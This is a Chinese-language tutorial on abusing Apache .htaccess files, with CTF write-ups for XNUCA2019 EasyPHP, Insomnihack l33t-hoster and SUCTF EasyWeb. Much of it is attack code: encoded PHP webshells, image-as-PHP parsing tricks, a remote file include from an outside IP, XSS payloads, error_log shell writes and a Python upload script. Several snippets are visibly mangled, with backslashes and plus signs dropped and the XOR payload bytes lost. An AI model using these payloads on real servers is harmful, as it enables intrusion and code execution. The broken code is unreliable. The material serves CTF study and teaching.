.htaccess
基本概念
.htaccess 文件是Apache中有一种特殊的文件,其提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一条或多条指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。
.htaccess 中有 #
单行注释符,且支持 拼接上下两行。
作用范围
.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
配置文件
启动 .htaccess,需要在服务器的主配置文件中将 AllowOverride 设置为 All,例如在 apache2.conf 中:
代码语言:javascript复制AllowOverride All # 启动.htaccess文件的使用
image-20210425145932191
也可以通过 AccessFileName 将 .htaccess 修改为其他名:
代码语言:javascript复制AccessFileName .config # 将.htaccess修改为.config
.htaccess 常见指令
.htaccess 可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。这里我们主要讲解几种常利用的指令。详情请看官方文档:http://www.htaccess-guide.com/
SetHandler
SetHandler 指令可以强制所有匹配的文件被一个指定的处理器处理。
•用法:
代码语言:javascript复制SetHandler handler-name|None
•示例 1:
代码语言:javascript复制SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做 php 解析。
•示例 2:
代码语言:javascript复制SetHandler server-status
开启 Apache 的服务器状态信息(server-status 是 Apache 自带一个查看 Apache 状态的功能模块),可以查看所有访问本站的记录:
image-20210425150107010
访问任意不存在的文件,加参数 ?refresh=5
来实现每隔 5s 自动刷新。
AddHandler
AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。
•用法:
代码语言:javascript复制AddHandler handler-name extensive [extensive] ...
•示例:
代码语言:javascript复制AddHandler cgi-script .xxx
即将扩展名为 .xxx 的文件作为 CGI 脚本来处理。
AddType
AddType 指令可以将给定的文件扩展名映射到指定的内容类型。
•用法:
代码语言:javascript复制AddType media-type extensive [extensive] ...
•示例 1:
代码语言:javascript复制AddType application/x-httpd-php .gif
此时将会把 gif 为后缀的文件当做 php 文件解析。
•示例 2:
代码语言:javascript复制AddType application/x-httpd-php png jpg gif
此时将会把 .png .jpg .gif 多个后缀的文件当做 php 解析。
php_value
当使用 PHP 作为 Apache 模块时,可以用 Apache 的配置文件(例如 httpd.conf)或 .htaccess 文件中的指令来修改 PHP 的配置设定。但是需要有开启 AllowOverride Options 或 AllowOverride All 权限才可以。
php_value 指令用来设定指定的 PHP 的配置值。要清除先前设定的值,把 value 设为 none。但是 php_value 不能用来设定布尔值,如果要设定布尔值的话应该用 php_flag。
•用法:
代码语言:javascript复制php_value name value
但是并不是所有的 PHP 配置都可以用 php_value 来设定,如下查看配置可被设定范围:
image-20201018125707413
如上图可知 .htaccess 的 php_value 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。
•示例:
代码语言:javascript复制php_value auto_prepend_file images.png
设置访问一个 PHP 文件时,在该文件解析之前会先自动包含并解析 images.png 文件。
php_flag
php_flag 指令用来设定布尔值类型的 PHP 配置选项。
•用法:
代码语言:javascript复制php_flag name on|off
一样的,php_flag 可以设定的配置也是有范围的,如下查看配置可被设定范围:
image-20201018131207259
•实例
代码语言:javascript复制php_flag engine 0
将 engine 设置为 0,即在本目录和子目录中关闭 PHP 解析,可以造成源码泄露。
.htaccess 的常见利用
源码泄露
我们可以通过 .htaccess 文件的 php_flag 指令对 PHP 的 engine 配置选项进行设定,当把 engine 的值设为 off(或 0)时可以禁用一个本目录和子目录中的 PHP 解析,此时将会造成源码泄露:
image-20201018131207259
代码语言:javascript复制php_flag engine 0
这里在谷歌浏览器访问会直接显示源码(用其他浏览器访问会显示空白,还需查看源码,才可看到泄露的源码):
image-20210425155739125
图片马解析
我们知道,在文件上传漏洞中经常遇到上传图片马的情况,如果目标环境开启了 .htaccess 并且上传的黑名单没有限制 .htaccess 文件的话,我们便可以先上传 .htaccess 文件,对目标环境的目录进行相应的配置,然后再上传图片,使图片的 PHP 恶意代码得以被直接解析执行。
此时,常用的的两个 .htaccess 指令如下:
•SetHandler 指令
我们可以使用 SetHandler 指令强制将所有匹配的文件被 PHP 处理器处理并解析:
代码语言:javascript复制# 将images.png 当做 php 执行<FilesMatch "images.png"> SetHandler application/x-httpd-php</FilesMatch>
•AddType 指令
也可以使用 AddType 指令将给定的文件扩展名映射到 PHP 的内容类型:
代码语言:javascript复制# 将 .jpg 当做 php 文件解析AddType application/x-httpd-php .png
这两种配置都可以使我们上传的非 PHP 类型的 Webshell 被当做 PHP 直接解析:
image-20210425150743385
文件包含
本地文件包含
在本目录或子目录中有可解析的 PHP 文件时,可以通过 php_value 来设置 auto_prepend_file 或者 auto_append_file 配置选项来让所有的 PHP 文件自动包含一些敏感文件或恶意文件(如WebShell),来触发文件包含。
下面 .htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件。
•auto_prepend_file
代码语言:javascript复制php_value auto_prepend_file /etc/passwd
•auto_append_file
代码语言:javascript复制php_value auto_append_file /etc/passwd
这两个配置选项用于设置访问一个 PHP 文件时,在该 PHP 文件解析之前会先自动包含并解析的文件。如下图当我们访问 index.php 时,便会自动将 /etc/passwd 包含进来:
image-20210425152755940
在实际的文件上传利用中,如果目标环境的当前目录中存在至少一个 PHP 文件且上传黑名单没有限制 .htaccess 文件的话,我们便可以上传包含以上指令的 .htaccess 文件,将我们需要读取的敏感文件包含进来并读取。
同理,我们也可以让 index.php 文件包含一个含有 Webshell 的文件来 Getshell,可用于图片马的解析:
代码语言:javascript复制php_value auto_prepend_file images.png或:php_value auto_append_file images.png
image-20210425153345868
远程文件包含
PHP 的 allow_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以进行远程包含。因为 allow_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 指令在 .htaccess 文件中开启。这里为了演示,就先在 php.ini 中设置 allow_url_include 为 On。
.htaccess 文件中的设置为:
代码语言:javascript复制php_value auto_prepend_file http://192.168.0.181/phpinfo.txt或:php_value auto_append_file http://192.168.0.181/phpinfo.txt
远程主机上的phpinfo.txt中的内容为:
代码语言:javascript复制<?php phpinfo();?>
这样,最终目标主机上的php文件都会包含这个远程主机上的 phpinfo.txt 并解析执行:
image-20210425154721027
任意代码执行
通过 PHP 伪协议
这里主要用的还是 auto_prepend_file 或 auto_append_file 这两个配置项。
条件:
•allow_url_fopen 为 On•allow_url_include 为 On•目标环境的当前目录中存在至少一个 PHP 文件
代码语言:javascript复制php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8 或:php_value auto_append_file data://text/plian,// 如果不使用base64加密则注意需要url编码
image-20210425160831082
通过解析 .htaccess 文件
•方法一:通过包含 .htaccess 自身
代码语言:javascript复制php_value auto_append_file .htaccess#<?php phpinfo();?>
即让所有的 PHP 文件都包含 .htaccess 文件自身:
image-20210425161156361
•方法二:直接将 .htaccess 文件当做 PHP文件处理
这种方法适合目标环境当前目录或子目录下没有 PHP 文件的情况下。
需要先在 .htaccess 里面设置允许访问 .htaccess 文件,否则是直接访问 .htaccess 文件是Forbidden的:
代码语言:javascript复制<Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files>
然后再设置将 .htaccess 指定当做 PHP 文件处理并解析:
代码语言:javascript复制SetHandler application/x-httpd-php# <?php phpinfo();?>
最终 .htaccess 文件里面的内容为:
代码语言:javascript复制<Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files>SetHandler application/x-httpd-php# <?php phpinfo();?>
然后我们直接访问 .htaccess 文件即可把 .htaccess 文件当做 PHP 文件处理并执行里面的 PHP 代码:
image-20210425161901703
进行 XSS 攻击
通过设置 highlight_file
我们可以通过 .htaccess 文件设定 highlight.comment 选项,指定需要高亮的内容,从而进行 XSS。
.htaccess中的内容
代码语言:javascript复制php_value highlight.comment '"><script>alert(1);</script>'
index.php中的内容为:
代码语言:javascript复制<?phphighlight_file(__FILE__);// comment
当访问index.php时便会触发 XSS:
image-20210425171250623
通过错误消息链接
.htaccess 中的内容:
代码语言:javascript复制php_flag display_errors 1php_flag html_errors 1php_value docref_root "'><script>alert(1);</script>"
index.php 中的内容为:
代码语言:javascript复制<?phpinclude('foo'); // 这里会报错
当访问index.php时便会触发 XSS:
image-20210425171852483
自定义错误文件(可写Webshell)
error_log 可以将 PHP 运行报错的记录写到指定文件中,因此我们可以通过 .htaccess 文件设定 error_log 选项来自定义错误文件的存储路径,并以此来写入Webshell:
代码语言:javascript复制php_value error_log /var/www/html/shell.phpphp_value include_path "<?php phpinfo(); __halt_compiler();"# include_path 用来将include()的默认目录路径改变
index.php 中的内容为:
代码语言:javascript复制<?phpinclude('foo'); // 这里会报错
访问 index.php,会报错并记录在 shell.php 文件中:
image-20210425172546371
如上图可见,成功将我们的phpinfo()写入了shell.php中,但是 <
等字符会经过 html 编码(如上图所示),所以我们需要用 UTF-7 编码格式来绕过。下面我们通过 [XNUCA2019Qualifier]EasyPHP 这道CTF例题来深入的探究。
[XNUCA2019Qualifier]EasyPHP
进入题目,给出源码:
代码语言:javascript复制<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "nJust one chance");?>
整个代码的逻辑也比较简单,首先删除当前目录下非index.php的文件,然后 include_once("fl3g.php");
,之后获取filename和content参数的值,并将content写入filename指定的文件中。其中对filename和content都有过滤,要求content中不能有on、html等关键字,且filename不能匹配到 a-z
和点号 .
以外的字符。
这道题因为看到file_put_content和unlink自然想到了条件竞争写shell,但是测试过程虽然能够写进.php文件但是不解析。
并且由于题目服务器中间件为 Apache,因此想到了传 .htaceess 利用自定义错误文件写Webshell。但我们还需要解决一下问题。
(1)使 .htaccess 生效
如果我们直接上传.htaccess文件,由于我们写入的内容会被自动在末尾加上“nJust one chance”,所以会使我们的.htaccess文件不生效,出现响应500的问题。为了时我们写入的.htaccess文件生效,我们要采用 的方式将换行符转义成普通字符,然后用
#
来注释单行了,即:
......# \nJust one chance
这样我们写入上传的 .htaccess 文件就能生效了。
(2)include_path
在题目的代码中有一处 include_once("fl3g.php");
,但是当我们访问fl3g.php文件时却发现该文件并不存在,这里便用到了php.ini中的include_path选项。
include_path可以用来设置include()或require()函数包含文件的参考目录路径,也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错,那么我们就可以通过修改它来控制include的路径,那么如果我们能够在其它目录写入同名的fl3g.php让其包含,那么就能够getshell,并且可以使fl3g.php文件不被删除。
(3)指定目录写文件(error_log)
前面我们已经了解了,error_log 可以将 PHP 运行报错的记录写到指定文件中,利用这一点我们可以写Webshell。但是如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将 payload 作为一个路径去访问时就会因为找不到fl3g.php而报错,并将报错记录在指定的错误文件中。
但是前面也说了,当我们传递 PHP 的 payload 时,因为我们传过去的内容会经过 html 编码,所以我们需要用 UTF-7 来绕过:
代码语言:javascript复制php_value include_path " ADw?php eval( ACQAXw-POST AFs-whoami AF0) ADs? AD4-"php_value error_log /tmp/fl3g.php#
解题过程如下。
•第一步:写入 .htaccess error_log 相关的配置,将 payload 写入目标文件
将上述内容进行url编码,然后构造 url 并执行:
代码语言:javascript复制/index.php?filename=.htaccess&content=php_value include_path "+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-"
php_value error_log /tmp/fl3g.php
#
image-20210426140953305
•第二步:访问 index.php 触发报错留下 error_log•第三步:写入 .htaccess 新的配置,将 include_path 选项设定为刚才生成的fl3g.php的目录,并配置解析的编码为 UTF-7
代码语言:javascript复制php_value include_path "/tmp"php_fl # 这里使用加换行的方式绕过对"flag"的过滤, 即php_flag zend.multibyte 1ag zend.multibyte 1php_value zend.script_encoding "UTF-7"#
将上述内容进行url编码,然后构造 url 并执行:
代码语言:javascript复制/index.php?filename=.htaccess&content=php_value include_path "/tmp"
php_fl
ag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
#
image-20210426142548407
•第四步:构造如下读取flag
代码语言:javascript复制POST: whoami=system('cat /flag');
image-20210426142629103
如上图所示,成功执行命令并得到flag。
这个题也可以用通过包含 .htaccess 自身的方法Getshell:
代码语言:javascript复制php_value auto_prepend_file ".htaccess"#<?php @eval($_GET['cmd']); ?>
正则回朔绕过正则匹配
《PHP利用PCRE回溯次数限制绕过某些安全限制》 这篇文章中提到了一个正则回朔绕过 preg_match 检测的方法。即 PHP 的配置选项 pcre.backtrack_limit 给 pcre 设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match 会返回false,我们可以通过这一点来绕过 preg_match 等函数正则匹配的检测。
由于 .htaccess 可以设定 PHP 的配置选项,那我们便可以将 pcre.backtrack_limit 设为 0 ,从而利用这个漏洞:
代码语言:javascript复制php_value pcre.backtrack_limit 0php_value pcre.jit 0#
我们还是通过刚才那个 CTF 例题来看一下具体的利用过程。
进入题目,给出源码:
代码语言:javascript复制<?php ...... $filename = $_GET['filename']; if(preg_match("/[^a-z.]/", $filename) == 1) { echo "Hacker"; die(); } ...... file_put_contents($filename, $content . "nJust one chance");?>
可以看到代码中的 preg_match 使用正则匹配限制filename只能是 a-z
和点号 .
,那我们便可以通过写入 .htaccess 设置回溯次数(pcre.backtrack_limit)为 0,从而绕过这里的正则回溯,直接将我们的Webshell写入fl3g.php。
首先将 pcre.backtrack_limit 的配置写入 .htaccess:
代码语言:javascript复制/index.php?filename=.htaccess&content=php_value pcre.backtrack_limit 0
php_value pcre.jit 0
#
image-20210426145707238
然后访问以下 url 将 Webshell 写入fl3g.php:
代码语言:javascript复制/index.php?filename=fl3g.php&content=<?php phpinfo();?>
执行后可以发现,成功将Webshell写入了fl3g.php:
image-20210426153537544
绕过 <? 特殊字符
有时候,目标环境会限制我们上传或写入的文件内容中不能存在 <?
等特殊字符,如果没有限制 .htaccess 的话,我们同样可以使用 .htaccess 来绕过。
Base64 编码绕过
主要就是利用 auto_append_file 和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来:
代码语言:javascript复制php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"# images.png 中是经过base64编码后的Webshell
我们直接使用data://协议也是可以的,这样就不需要上传 images.png 了:
代码语言:javascript复制php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8
image-20210426170103829
UTF-7 编码格式绕过
这种方法我们在前文中已经涉及到了,比如我们在一个图片中写入 UTF-7 编码格式的 Webshell:
代码语言:javascript复制// images.png ADw?php eval( ACQAXw-POST AFs-whoami AF0) ADs? AD4-
然后我们使用 auto_append_file 将其包含进来并设置编码格式为 UTF-7 就行了:
代码语言:javascript复制php_value auto_append_file images.pngphp_flag zend.multibyte 1php_value zend.script_encoding "UTF-7"
当然,也可以使用 php://filer 伪协议进行 UTF-7 与 UTF-8 之间的转换,即:
代码语言:javascript复制php_value auto_append_file "php://filter/read=convert.iconv.utf-7.utf-8/resource=images.png"
image-20210426171201066
也可以使用 .htaccess 自身包含来执行 Webshell,这样就不需要再上传一个 images.png 了:
代码语言:javascript复制php_value auto_append_file .htaccessphp_flag zend.multibyte 1php_value zend.script_encoding "UTF-7"# ADw?php eval( ACQAXw-POST AFs-whoami AF0) ADs? AD4-
同理,除了使用 UTF-7 外,UTF-16、UTF-32 都可以使用,方法都是一样的。
与 .htaccess 相关的几个 Bypass
与 .htaccess 相关限制除了使用黑名单限制 .htaccess 外,最常见的就是限制关键字以及加入脏字符啥的了。
绕过关键字过滤
绕过对关键字的过滤我们可以使用反斜杠 加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess 解析图片马,我们需要将 .htaccess 写成这样:
AddType application/x-httpd-php .png# 即: AddType application/x-httpd-php .png
绕过脏字符
上面的 [XNUCA2019Qualifier]EasyPHP 这道题目已经涉及到了。即有时候,题目会在我们上传或写入的文件中加入一个混乱的字符(脏字符),由于这些字符不是 .htaccess 文件的语法或指令,所以会使我们的.htaccess文件不生效,出现响应500的问题。为了时我们写入的 .htaccess 文件生效,我们要采用 #
对脏字符进行注释,或使用反斜杠 将换行符转义成普通字符。
绕过对上传图片的尺寸限制
有时候,在图片上传区会使用 getimagesize()
等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype()
函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype()
检测后的结果符合题目要求。
我们可以使用 exif_imagetype()
函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:
#define test_width 16#define test_height 7static char test_bits[] = {0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,0x00, 0x60 };
可以看到 WBMP 图像的开头可以使用 #
设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337x1337,那么我们在上传.htaccess时便可以用 WBMP 来绕过,例如:
#define width 1337#define height 1337AddType application/x-httpd-php images.png
[Insomnihack Teaser 2019 Web]l33t-hoster
进入题目,是一个上传页面:
image-20210426180117319
访问 /?source 得到源码:
代码语言:javascript复制<?phpif (isset($_GET["source"])) die(highlight_file(__FILE__));session_start();if (!isset($_SESSION["home"])) { $_SESSION["home"] = bin2hex(random_bytes(20));}$userdir = "images/{$_SESSION["home"]}/";if (!file_exists($userdir)) { mkdir($userdir);}$disallowed_ext = array( "php", "php3", "php4", "php5", "php7", "pht", "phtm", "phtml", "phar", "phps",);if (isset($_POST["upload"])) { if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) { die("yuuuge fail"); } $tmp_name = $_FILES["image"]["tmp_name"]; // 临时文件名 $name = $_FILES["image"]["name"]; // 文件名 $parts = explode(".", $name); $ext = array_pop($parts); // 后缀 if (empty($parts[0])) { array_shift($parts); } if (count($parts) === 0) { die("lol filename is empty"); } if (in_array($ext, $disallowed_ext, TRUE)) { // 可用大小写绕过文件后缀 die("lol nice try, but im not stupid dude..."); } $image = file_get_contents($tmp_name); if (mb_strpos($image, "<?") !== FALSE) { // 文件内容中不能存在<? die("why would you need php in a pic....."); } if (!exif_imagetype($tmp_name)) { die("not an image."); } $image_size = getimagesize($tmp_name); if ($image_size[0] !== 1337 || $image_size[1] !== 1337) { // 限制了图片的尺寸必须为 1337x1337 die("lol noob, your pic is not l33t enough"); } $name = implode(".", $parts); move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);}echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";foreach(glob($userdir . "*") as $file) { echo "<li><a href='$file'>$file</a></li>";}echo "</ul>";?>
阅读源码可知,题目限制了上传的图片的内容不能存在 <?
,我们可以使用编码绕过;限制了上传图片的尺寸必须为 1337x1337,我们可以直接使用 WBMP 绕过。
首先上传图片马 images.png,里面内容如下:
代码语言:javascript复制#define width 1337#define height 1337APD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4= // <?php eval($_POST[whoami]);?>
然后上传我们的 .htaccess 解析图片马即可:
代码语言:javascript复制#define width 1337#define height 1337AddType application/x-httpd-php images.png # 将images.png解析为 PHP 文件php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"
[SUCTF 2019]EasyWeb
进入题目,给出源码:
代码语言:javascript复制<?phpfunction get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".") 1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); }}$hhh = @$_GET['_'];if (!$hhh){ highlight_file(__FILE__);}if(strlen($hhh)>18){ die('One inch long, one inch strong!');}if ( preg_match('/[x00- 0-9A-Za-z'"`~_&.,|=[x7F] /i', $hhh) ) die('Try something else!');$character_type = count_chars($hhh, 3);if(strlen($character_type)>12) die("Almost there!");eval($hhh);?>
我们将代码分为两部分。
第一部分绕过:
代码语言:javascript复制$hhh = @$_GET['_'];......if ( preg_match('/[x00- 0-9A-Za-z'"`~_&.,|=[x7F] /i', $hhh) ) die('Try something else!');......eval($hhh);
这一块好绕过,直接异或绕过正则匹配,来拼接出 payload:
代码语言:javascript复制${����^����}{�}();&�=phpinfo// ����^���� 异或结果为$_GET,{$_GET}{�}
image-20210426203938431
如上图,phpinfo()函数执行成功,那我们就可以用这个payload来调用他题目中定义的get_the_flag()函数了,即:
代码语言:javascript复制${����^����}{�}();&�=get_the_flag
就此绕过第一段。
第二部分绕过:
代码语言:javascript复制function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".") 1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); }}
代码的逻辑是文件上传,过滤了文件后缀,不能出现“ph”,看来只能上传图片马配合 .htaccess 了,且 exif_imagetype 判断一个图像的类型,读取一个图像的第一个字节并检查其签名,所以我们图片马的开头要加上GIF89a,还有就是图片马文件内容中不能有“<?”。
接下来我们制作图片马,由于图片马文件内容中不能有 <?
,所以我们要用编码绕过:
GIF98a12PD9waHAgZXZhbCgkX1BPU1RbJ3dob2FtaSddKTs/Pg==
所以我们 .htaccess 文件的内容为:
代码语言:javascript复制#define width 1337#define height 1337AddType application/x-httpd-php .gifphp_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_d99081fe929b750e0557f85e6499103f/shell.gif"
最后,我们编写脚本,一键化上传图片马和.htaccess:
代码语言:javascript复制import requestsurl = "http://2eebfa72-c0ca-4331-a85a-dd3878052073.node3.buuoj.cn/?_=${����^����}{�}();&�=get_the_flag"shell = {"file":('images.gif',open('images.gif','rb'),'image/gif')}r = requests.post(url=url,files=shell)print(r.text)htaccess = {"file":('.htaccess',open('.htaccess','rb'),'image/gif')}r2 = requests.post(url=url,files=htaccess)print(r2.text)
image-20210426204417822
成功上传后使用蚁剑成功连接images.gif: